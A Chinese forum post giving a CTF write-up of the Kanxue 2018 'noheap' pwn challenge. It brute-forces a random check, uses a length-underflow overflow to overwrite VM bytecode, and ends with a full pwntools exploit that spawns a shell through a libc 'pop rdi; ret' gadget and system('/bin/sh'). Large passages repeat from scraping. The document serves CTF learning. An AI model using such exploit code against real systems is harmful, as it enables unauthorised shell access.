-
-
[原创]看雪.京东 2018CTF 第六题 PWN-noheap:PWN入门详细记录
-
发表于: 2018-6-28 18:49 3505
-
第一次独自把做pwn题做出来了,虽然由于手边没有能上网的电脑,没来得及提交答案,但是很开心,终于pwn入门了。
0.准备工作
下载一个Ubuntu-16.04-desktop-amd64.iso,在VMWare14里安装,现在VMWare已经很智能了,全自动安装。
安装完成后还需要进行一些配置,例如修改apt源、pip源之类的,这里就不细说了。前几天第4题PWN时系统都没弄好,这个系统是刚重新装的。
然后安装一些必备工具:
>git clone https://github.com/pwndbg/pwndbg #下载pwndbg,gdb增强 >git clone https://github.com/longld/peda.git ~/peda #下载peda,也是gdb增强,似乎与pwndbg有冲突 >git clone https://github.com/JonathanSalwan/ROGgadget #下载ROGgadget,用于文件命令搜索,然后用于溢出 >checksec #文件检查工具,是一个bin,似乎python中的pwntools已经集成了,ELF(binfile)就能直接检查文件保护方式 >sudo apt install socat #端口转发工具,在调试时可以用python发送命令 >sudo pip install pwntools #安装python下的pwntools,研究pwn必备
当然还有IDA,windows下的IDA最好用,把IDA安装目录下的/dbgsrv/linux_serverx64复制到Ubuntu中并运行,然后在win下的IDA里配置Debugger-process options,设置Application为/home/user/pediy/noheap,Input file为/home/lelfei/pediy/noheap,Directory为/home/lelfei/pediy,Hostname为Ubuntu虚拟机IP,Port为默认的23946,按F9就能开始远程动态调试了。
1.分析程序
在windows中运行IDA 64位程序,把目标程序noheap拖进去开始分析,流程很简单,main()里调用了3个函数,第1个用于显示欢迎信息,第2个sub_F0C()校验一个随机码,第3个sub_1470()显示菜单。这个程序函数很少,干脆每一个都点开看看,很快就能分析出大部分函数功能。有一个函数值得注意,sub_CB5()调用位置为_init_array,功能是把5个函数的入口地址加密并保存起来,并初始化了一段数据保存到203140处,后来发现这是一段VM指令,这个后面再细说。
2.随机码验证
在sub_F0C()里用4个字节的随机码生成8字节的校验码,计算校验码的Hash值并显示,然后由用户输入校验码并检测是否正确:
__int64 checkRnd() { unsigned __int8 buf; // [sp+Fh] [bp-51h]@2 unsigned int v2; // [sp+10h] [bp-50h]@1 int i; // [sp+14h] [bp-4Ch]@1 int fd; // [sp+18h] [bp-48h]@1 unsigned int v5; // [sp+1Ch] [bp-44h]@4 char s1[8]; // [sp+20h] [bp-40h]@1 char v7; // [sp+28h] [bp-38h]@1 char s2[8]; // [sp+30h] [bp-30h]@1 char v9; // [sp+38h] [bp-28h]@1 __int64 v10; // [sp+48h] [bp-18h]@1 v10 = *MK_FP(__FS__, 40LL); *(_QWORD *)s1 = 0LL; v7 = 0; *(_QWORD *)s2 = 0LL; v9 = 0; v2 = 0; fd = open("/dev/urandom", 0); for ( i = 0; i <= 3; ++i ) { read(fd, &buf, 1uLL); v2 = (v2 << 8) + buf % 43u + 48; //生成4字节随机码 } *(_DWORD *)s1 = sub_108A((__int64)&v2); //计算出验证码前4位 *(_DWORD *)&s1[4] = sub_108A((__int64)&v2); //计算出验证码后4位 v5 = sub_10B2(s1, 8); //计算8位验证码的Hash值 printf("Hash:%08x\n", v5); //显示Hash值 printf("Input:"); getInput(s2, 9uLL); //用户输入 close(fd); if ( strcmp(s1, s2) ) //检测输入值是否与验证码相等 exit(0); puts("======================================================================="); return *MK_FP(__FS__, 40LL) ^ v10; }
由于验证码是随机生成的,需要穷举出来,不过对随机码范围进行了限制,总范围为43*43*43*43=3418801种可能,几秒钟就能穷举出来。代码很简单,就不细说了,直接贴代码:
def getseed(nn): print("[%s]start find seed..." % datetime.now()) for s0 in range(48,91): for s1 in range(48,91): for s2 in range(48,91): for s3 in range(48,91): seed=s3*0x1000000+s2*0x10000+s1*0x100+s0 n1=seed*0x343FD+0x269EC3 n2=n1*0x343FD+0x269EC3 n1&=0xFFFFFFFF n2&=0xFFFFFFFF sum=0 t1=n1 t2=n2 for i in range(4): sum=sum*0x83+(t1&0xFF) t1>>=8 sum&=0xFFFFFFFF for i in range(4): sum=sum*0x83+(t2&0xFF) t2>>=8 sum&=0xFFFFFFFF if sum==nn: s='' t1=n1 t2=n2 for i in range(4): s+=chr(t1&0xFF) t1>>=8 for i in range(4): s+=chr(t2&0xFF) t2>>=8 print("[%s]seed='%s%s%s%s', pw=%08x%08x" % (datetime.now(),chr(s0),chr(s1),chr(s2),chr(s3),n1,n2)) return s print("[%s]***NOT FOUND***" % datetime.now()) return
输入验证码后就能进门了。
调试方法为:
在Ubuntu里运行命令:
socat tcp4-listen:1234,fork exec:./linux_serverx64 #运行IDA调试服务程序,并转发到端口1234
在IDA里配置好调试参数后F9开始调试,然后在ubuntu终端里运行python,输入命令就能连接到调试程序了:
from pwn import * p=remote('localhost',1234) p.recvline()
3.查找溢出点
程序先用checksec看一下,有CANARY保护和NX保护,对数据处理的也很好,直接看源码也没有发现明显的缓冲区溢出漏洞,不过在实际调试时发现在Malloc()中输入Size为0时,再输入Content时长度限制变成了n = getInput((char *)src, (unsigned __int8)(size - 1)),size-1经过转化把大小变成了0xFF,超过前面的0x80限制,能覆盖到2030C0+80后面的数据,但是这些数据能怎么用呢?这地方让我迷惑了好久。
在继续调试程序时,找到突破口了:
在菜单中输入选项后,程序根据用户选择把指定函数入口解密,并保存到堆栈中,然后跳到sub_1107()执行虚拟机指令,根据虚拟机指令再跳转到指定函数运行。而这些虚拟机指令刚好保存在2030C0+80=203140处,因此我们可以自己编写VM指令,获取到系统权限!
4.编写VM指令
接下来的工作比较无趣,要分析虚拟机指令,还好指令不多,只有22条,代码也不复杂,直接贴结果:
0x00001460 00:exit 0x00001190 01:mov vmReg3, byte [vmIP+1];add vmIP,2 0x000011bd 02:mov vmReg4,byte [vmReg3];inc vmIP 0x000011e6 03:mov vmReg2,qword [vmReg3];inc vmIP 0x0000120c 04:mov vmReg5,qword [vmReg3];inc vmIP 0x00001232 05:sub vmReg2, vmReg5;inc vmIP 0x0000124f 06:add vmReg2, vmReg5;inc vmIP 0x0000126f 07:imul vmReg2, vmReg5;inc vmIP 0x0000128d 08:div vmReg2, vmReg5;inc vmIP 0x000012af 09:xor vmReg2, vmReg5;inc vmIP 0x000012cc 0A:and vmReg2, vmReg5;inc vmIP 0x000012e9 0B:or vmReg2, vmReg5;inc vmIP 0x00001306 0C:cmp vmReg2, vmReg5;jnz vmReg6=1;inc vmIP 0x00001333 0D:cmp vmReg6,0;jnz vmIP=[vmIP];add vmIP,2 0x00001368 0E:mov vmReg2, vmReg4;inc vmIP 0x00001381 0F:mov vmReg5, vmReg4;inc vmIP 0x0000139a 10:mov vmReg4, vmReg2;inc vmIP 0x000013b3 11:mov vmReg4, vmReg5;inc vmIP 0x000013cc 12:mov vmReg2, vmReg5;inc vmIP 0x000013e5 13:mov vmReg2,qword ss:[-vmReg3<<3];inc vmIP 0x0000140f 14:mov qword ss:[-vmReg3<<3],vmReg2;inc vmIP 0x00001439 15:inc vmReg4;inc vmIP 0x0000144c 16:inc vmIP;jmp vmReg2 其中vmIP=[rbp-40h],[rbp-38]--[rbp-8]分别用vmReg2--vmReg8代替
在自己编写VM指令时又走了很多弯路:
先尝试控制程序流程到2030C0处执行,发现此段数据没有执行权限;
看来只能调用系统命令system('/bin/sh')来获取权限了,但是VM指令功能并不多,能写地址的只有第0x14号指令:mov qword ss:[-vmReg3<<3],vmReg2,想要实现写任意地址还是比较麻烦的。参考原VM指令,是调用01号功能取1字节保存到vmReg3,再调用0x13号指令读取堆栈内容或0x14号指令保存到堆栈的,因此设计出第1号方案:获取libc地址,根据相对偏移跳到libc.system并执行,跳过去前需要先把system函数的参数'/bin/sh'放到edi中。(这里多说一句,在32位系统中参数都是在堆栈中的,但是在64位系统中,参数分别在rdi,rsi,rdx,rcx,r8,r9中)于是步骤变成了第2号方案:保存'/bin/sh'地址到[rsp]中;保存system命令地址到[rsp+8]中;找到“pop rdi;ret”命令地址,跳过去执行。需要找3个地址,都是在libc中找。(当然也可以在程序中找,但是我们是必须要在libc中找system地址的,从libc中找其他地址更省事)
先在堆栈中找libc出现的地址:[ebp+38]处找到了libc_2.23.so:__libc_start_main+F0,但是发现没法实现:vm指令只能从堆栈里往上取地址,不能使用负数实现向下找;如果在堆栈中向上找,如何保证找到的数据很可靠呢?这里又让我迷惑了很长时间。
突然想到,程序是先在Malloc()中使用了输入输出函数,返回后我们才覆盖掉VM指令控制流程的,堆栈中刚使用的输入输出函数应该还是可靠的,在执行完Malloc()返回后又返回到1147处,查看堆栈找到数据:[vmbp-78]=libc_2.23.so:_IO_2_1_stdout_,这个地址应该还能用。
最终方案编写VM指令如下:
01 14:vmReg3=14 13:vmReg2=[-vmReg3<<3]=[78]=libc_2.23.so:_IO_2_1_stdout_ ;p_libc_stdout 10:vmReg4=vmReg2 ;保存p_libc_stdout地址 01 00:vmReg3=00 04:vmReg5=[vmReg3]=0x18CD57 ;取'/bin/sh'偏移binsh_offset 05:vmReg2=vmReg2-vmReg5 ;计算出实际地址p_lib_binsh=p_libc_stdout-binsh_offset 01 08:vmReg3=09 14:[-40]=vmReg2 ;保存到[vmbp-40]中,即[rsp]中 0E:vmReg2=vmReg4 ;p_libc_stdout地址 01 28:vmReg3=28 04:vmReg5=[vmReg3]=0x24B60 ;取system函数偏移system_offset 05:vmReg2=vmReg2-vmReg5 ;计算出实际地址p_lib_system=p_libc_stdout-system_offset 01 07:vmReg3=07 14:[-38]=vmReg2 ;保存到[vmbp-38]中,即[rsp+8]中 0E:vmReg2=vmReg4 ;p_libc_stdout地址 01 30:vmReg3=30 04:vmReg5=[vmReg3]=0x8D2 ;取'pop rdi;ret'地址偏移poc_offset 05:vmReg2=vmReg2-vmReg5 ;计算出实际地址p_lib_poc=p_libc_stdout-poc_offset 16:jmp vmReg2 ;跳到POC执行,即system('/bin/sh'),得到系统权限 payload+='\x01\x14\x13\x10\x01\x00\x04\x05\x01\x08\x14\x0E\x01\x28\x04\x05\x01\x07\x14\x0E\x01\x30\x04\x05\x16\x00'
这里用到了3个偏移地址,得到方法为:
'/bin/sh'偏移binsh_offset:在libc-2.23.so中搜索字符串'/bin/sh'得到
system函数偏移system_offset:在python中使用libc.symbols['system']得到
'pop rdi;ret'地址偏移poc_offset:使用命令ROPgadget --binary libc-2.23.so --only "pop|ret" | grep rdi得到
这3个地址分别保存到了vmaddr+0,+28,+30处。其实这几个地址可以事先算好直接写到payload里,这里记录了详细的计算过程更方便理解。
需要注意vm指令返回到+0E处执行,最终payload为:
>>> payload='A'*0x80 #padding >>> payload+=p64(binsh_offset) #vmaddr+0是binsh_offset偏移 >>> payload+='A'*6 #vm指令返回到+0E处执行,上面数据用了8字节,这里还要跳过6字节 >>> payload+='\x01\x14\x13\x10\x01\x00\x04\x05\x01\x08\x14\x0E\x01\x28\x04\x05\x01\x07\x14\x0E\x01\x30\x04\x05\x16\x00' #实际执行的vm指令 >>> payload+=p64(system_offset) #+28处是system_offset偏移 >>> payload+=p64(poc_offset) #+30处是poc_offset偏移
5.总结
这一题使用vm指令溢出的设计还是比较新颖的,在网上学习了一些pwn教程,但是对payload的编写始终不得要领,通过这一题的独自完成,对pwn的理解更深了,之前几次CTF大赛遇到linux题就放弃,现在也可以尝试一下了。
最后附上完整的python代码:
from pwn import * from datetime import datetime p = process('./noheap') #p=remote('127.0.0.1',1234) def getseed(nn): print("[%s]start find seed..." % datetime.now()) for s0 in range(48,91): for s1 in range(48,91): for s2 in range(48,91): for s3 in range(48,91): seed=s3*0x1000000+s2*0x10000+s1*0x100+s0 n1=seed*0x343FD+0x269EC3 n2=n1*0x343FD+0x269EC3 n1&=0xFFFFFFFF n2&=0xFFFFFFFF #if n1!=n: # continue #print("%x %x" % (n1,n2)) sum=0 t1=n1 t2=n2 for i in range(4): sum=sum*0x83+(t1&0xFF) t1>>=8 sum&=0xFFFFFFFF for i in range(4): sum=sum*0x83+(t2&0xFF) t2>>=8 sum&=0xFFFFFFFF if sum==nn: s='' t1=n1 t2=n2 for i in range(4): s+=chr(t1&0xFF) t1>>=8 for i in range(4): s+=chr(t2&0xFF) t2>>=8 print("[%s]seed='%s%s%s%s', pw=%08x%08x" % (datetime.now(),chr(s0),chr(s1),chr(s2),chr(s3),n1,n2)) return s print("[%s]***NOT FOUND***" % datetime.now()) return def welcome(): p.recvuntil('Hash:') gothash = p.recv(8) print('got hash: %s' % gothash) n = int(gothash, 16) s = getseed(n) p.sendline(s) def suballoc(buf, size): p.recvuntil('>> ') p.sendline('1') p.recvuntil('Size :') p.sendline(str(size)) p.recvuntil('Content :') p.send(buf) def subshow(): p.recvuntil('>> ') p.sendline('2') s=p.recvuntil('$$$$') print('===result===\n%s' % s) welcome() libc=ELF('libc-2.23.so') libc_poc=0x21102 #ROPgadget --binary libc-2.23.so --only "pop|ret" | grep rdi libc_system=libc.symbols['system'] #0x45390 libc_binsh=next(libc.search('/bin/sh')) #0x18cd57 libc_stdout=libc.symbols['_IO_2_1_stdout_'] #0x3c5620 binsh_offset=libc_stdout-libc_binsh #0x2388c9 system_offset=libc_stdout-libc_system #0x380290 poc_offset=libc_stdout-libc_poc #0x3a451e payload='A'*0x80 payload+=p64(binsh_offset) payload+='A'*6 payload+='\x01\x14\x13\x10\x01\x00\x04\x05\x01\x08\x14\x0E\x01\x28\x04\x05\x01\x07\x14\x0E\x01\x30\x04\x05\x16\x00' payload+=p64(system_offset) payload+=p64(poc_offset) suballoc(payload,0) p.interactive()
第一次独自把做pwn题做出来了,虽然由于手边没有能上网的电脑,没来得及提交答案,但是很开心,终于pwn入门了。
0.准备工作
下载一个Ubuntu-16.04-desktop-amd64.iso,在VMWare14里安装,现在VMWare已经很智能了,全自动安装。
安装完成后还需要进行一些配置,例如修改apt源、pip源之类的,这里就不细说了。前几天第4题PWN时系统都没弄好,这个系统是刚重新装的。
然后安装一些必备工具:
>git clone https://github.com/pwndbg/pwndbg #下载pwndbg,gdb增强 >git clone https://github.com/longld/peda.git ~/peda #下载peda,也是gdb增强,似乎与pwndbg有冲突 >git clone https://github.com/JonathanSalwan/ROGgadget #下载ROGgadget,用于文件命令搜索,然后用于溢出 >checksec #文件检查工具,是一个bin,似乎python中的pwntools已经集成了,ELF(binfile)就能直接检查文件保护方式 >sudo apt install socat #端口转发工具,在调试时可以用python发送命令 >sudo pip install pwntools #安装python下的pwntools,研究pwn必备
当然还有IDA,windows下的IDA最好用,把IDA安装目录下的/dbgsrv/linux_serverx64复制到Ubuntu中并运行,然后在win下的IDA里配置Debugger-process options,设置Application为/home/user/pediy/noheap,Input file为/home/lelfei/pediy/noheap,Directory为/home/lelfei/pediy,Hostname为Ubuntu虚拟机IP,Port为默认的23946,按F9就能开始远程动态调试了。
>git clone https://github.com/pwndbg/pwndbg #下载pwndbg,gdb增强 >git clone https://github.com/longld/peda.git ~/peda #下载peda,也是gdb增强,似乎与pwndbg有冲突 >git clone https://github.com/JonathanSalwan/ROGgadget #下载ROGgadget,用于文件命令搜索,然后用于溢出 >checksec #文件检查工具,是一个bin,似乎python中的pwntools已经集成了,ELF(binfile)就能直接检查文件保护方式 >sudo apt install socat #端口转发工具,在调试时可以用python发送命令 >sudo pip install pwntools #安装python下的pwntools,研究pwn必备
当然还有IDA,windows下的IDA最好用,把IDA安装目录下的/dbgsrv/linux_serverx64复制到Ubuntu中并运行,然后在win下的IDA里配置Debugger-process options,设置Application为/home/user/pediy/noheap,Input file为/home/lelfei/pediy/noheap,Directory为/home/lelfei/pediy,Hostname为Ubuntu虚拟机IP,Port为默认的23946,按F9就能开始远程动态调试了。
1.分析程序
在windows中运行IDA 64位程序,把目标程序noheap拖进去开始分析,流程很简单,main()里调用了3个函数,第1个用于显示欢迎信息,第2个sub_F0C()校验一个随机码,第3个sub_1470()显示菜单。这个程序函数很少,干脆每一个都点开看看,很快就能分析出大部分函数功能。有一个函数值得注意,sub_CB5()调用位置为_init_array,功能是把5个函数的入口地址加密并保存起来,并初始化了一段数据保存到203140处,后来发现这是一段VM指令,这个后面再细说。
2.随机码验证
在sub_F0C()里用4个字节的随机码生成8字节的校验码,计算校验码的Hash值并显示,然后由用户输入校验码并检测是否正确:
__int64 checkRnd() { unsigned __int8 buf; // [sp+Fh] [bp-51h]@2 unsigned int v2; // [sp+10h] [bp-50h]@1 int i; // [sp+14h] [bp-4Ch]@1 int fd; // [sp+18h] [bp-48h]@1 unsigned int v5; // [sp+1Ch] [bp-44h]@4 char s1[8]; // [sp+20h] [bp-40h]@1 char v7; // [sp+28h] [bp-38h]@1 char s2[8]; // [sp+30h] [bp-30h]@1 char v9; // [sp+38h] [bp-28h]@1 __int64 v10; // [sp+48h] [bp-18h]@1 v10 = *MK_FP(__FS__, 40LL); *(_QWORD *)s1 = 0LL; v7 = 0; *(_QWORD *)s2 = 0LL; v9 = 0; v2 = 0; fd = open("/dev/urandom", 0); for ( i = 0; i <= 3; ++i ) { read(fd, &buf, 1uLL); v2 = (v2 << 8) + buf % 43u + 48; //生成4字节随机码 } *(_DWORD *)s1 = sub_108A((__int64)&v2); //计算出验证码前4位 *(_DWORD *)&s1[4] = sub_108A((__int64)&v2); //计算出验证码后4位 v5 = sub_10B2(s1, 8); //计算8位验证码的Hash值 printf("Hash:%08x\n", v5); //显示Hash值 printf("Input:"); getInput(s2, 9uLL); //用户输入 close(fd); if ( strcmp(s1, s2) ) //检测输入值是否与验证码相等 exit(0); puts("======================================================================="); return *MK_FP(__FS__, 40LL) ^ v10; }
由于验证码是随机生成的,需要穷举出来,不过对随机码范围进行了限制,总范围为43*43*43*43=3418801种可能,几秒钟就能穷举出来。代码很简单,就不细说了,直接贴代码:
__int64 checkRnd() { unsigned __int8 buf; // [sp+Fh] [bp-51h]@2 unsigned int v2; // [sp+10h] [bp-50h]@1 int i; // [sp+14h] [bp-4Ch]@1 int fd; // [sp+18h] [bp-48h]@1 unsigned int v5; // [sp+1Ch] [bp-44h]@4 char s1[8]; // [sp+20h] [bp-40h]@1 char v7; // [sp+28h] [bp-38h]@1 char s2[8]; // [sp+30h] [bp-30h]@1 char v9; // [sp+38h] [bp-28h]@1 __int64 v10; // [sp+48h] [bp-18h]@1 v10 = *MK_FP(__FS__, 40LL); *(_QWORD *)s1 = 0LL; v7 = 0; *(_QWORD *)s2 = 0LL; v9 = 0; v2 = 0; fd = open("/dev/urandom", 0); for ( i = 0; i <= 3; ++i ) { read(fd, &buf, 1uLL); v2 = (v2 << 8) + buf % 43u + 48; //生成4字节随机码 } *(_DWORD *)s1 = sub_108A((__int64)&v2); //计算出验证码前4位 *(_DWORD *)&s1[4] = sub_108A((__int64)&v2); //计算出验证码后4位 v5 = sub_10B2(s1, 8); //计算8位验证码的Hash值 printf("Hash:%08x\n", v5); //显示Hash值 printf("Input:"); getInput(s2, 9uLL); //用户输入 close(fd); if ( strcmp(s1, s2) ) //检测输入值是否与验证码相等 exit(0); puts("======================================================================="); return *MK_FP(__FS__, 40LL) ^ v10; }
由于验证码是随机生成的,需要穷举出来,不过对随机码范围进行了限制,总范围为43*43*43*43=3418801种可能,几秒钟就能穷举出来。代码很简单,就不细说了,直接贴代码:
def getseed(nn): print("[%s]start find seed..." % datetime.now()) for s0 in range(48,91): for s1 in range(48,91): for s2 in range(48,91): for s3 in range(48,91): seed=s3*0x1000000+s2*0x10000+s1*0x100+s0 n1=seed*0x343FD+0x269EC3 n2=n1*0x343FD+0x269EC3 n1&=0xFFFFFFFF n2&=0xFFFFFFFF sum=0 t1=n1 t2=n2 for i in range(4): sum=sum*0x83+(t1&0xFF) t1>>=8 sum&=0xFFFFFFFF for i in range(4): sum=sum*0x83+(t2&0xFF) t2>>=8 sum&=0xFFFFFFFF if sum==nn: s='' t1=n1 t2=n2 for i in range(4): s+=chr(t1&0xFF) t1>>=8 for i in range(4): s+=chr(t2&0xFF) t2>>=8 print("[%s]seed='%s%s%s%s', pw=%08x%08x" % (datetime.now(),chr(s0),chr(s1),chr(s2),chr(s3),n1,n2)) return s print("[%s]***NOT FOUND***" % datetime.now()) return
输入验证码后就能进门了。
def getseed(nn): print("[%s]start find seed..." % datetime.now()) for s0 in range(48,91): for s1 in range(48,91): for s2 in range(48,91): for s3 in range(48,91): seed=s3*0x1000000+s2*0x10000+s1*0x100+s0 n1=seed*0x343FD+0x269EC3 n2=n1*0x343FD+0x269EC3 n1&=0xFFFFFFFF n2&=0xFFFFFFFF sum=0 t1=n1 t2=n2 for i in range(4): sum=sum*0x83+(t1&0xFF) t1>>=8 sum&=0xFFFFFFFF for i in range(4): sum=sum*0x83+(t2&0xFF) t2>>=8 sum&=0xFFFFFFFF if sum==nn: s='' t1=n1 t2=n2 for i in range(4): s+=chr(t1&0xFF) t1>>=8 for i in range(4): s+=chr(t2&0xFF) t2>>=8 print("[%s]seed='%s%s%s%s', pw=%08x%08x" % (datetime.now(),chr(s0),chr(s1),chr(s2),chr(s3),n1,n2)) return s print("[%s]***NOT FOUND***" % datetime.now()) return
输入验证码后就能进门了。
调试方法为:
在Ubuntu里运行命令:
socat tcp4-listen:1234,fork exec:./linux_serverx64 #运行IDA调试服务程序,并转发到端口1234
在IDA里配置好调试参数后F9开始调试,然后在ubuntu终端里运行python,输入命令就能连接到调试程序了:
from pwn import * p=remote('localhost',1234) p.recvline()
3.查找溢出点
from pwn import * p=remote('localhost',1234) p.recvline()
3.查找溢出点
程序先用checksec看一下,有CANARY保护和NX保护,对数据处理的也很好,直接看源码也没有发现明显的缓冲区溢出漏洞,不过在实际调试时发现在Malloc()中输入Size为0时,再输入Content时长度限制变成了n = getInput((char *)src, (unsigned __int8)(size - 1)),size-1经过转化把大小变成了0xFF,超过前面的0x80限制,能覆盖到2030C0+80后面的数据,但是这些数据能怎么用呢?这地方让我迷惑了好久。
在继续调试程序时,找到突破口了:
在菜单中输入选项后,程序根据用户选择把指定函数入口解密,并保存到堆栈中,然后跳到sub_1107()执行虚拟机指令,根据虚拟机指令再跳转到指定函数运行。而这些虚拟机指令刚好保存在2030C0+80=203140处,因此我们可以自己编写VM指令,获取到系统权限!
4.编写VM指令
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
看原图
赞赏
雪币:
留言: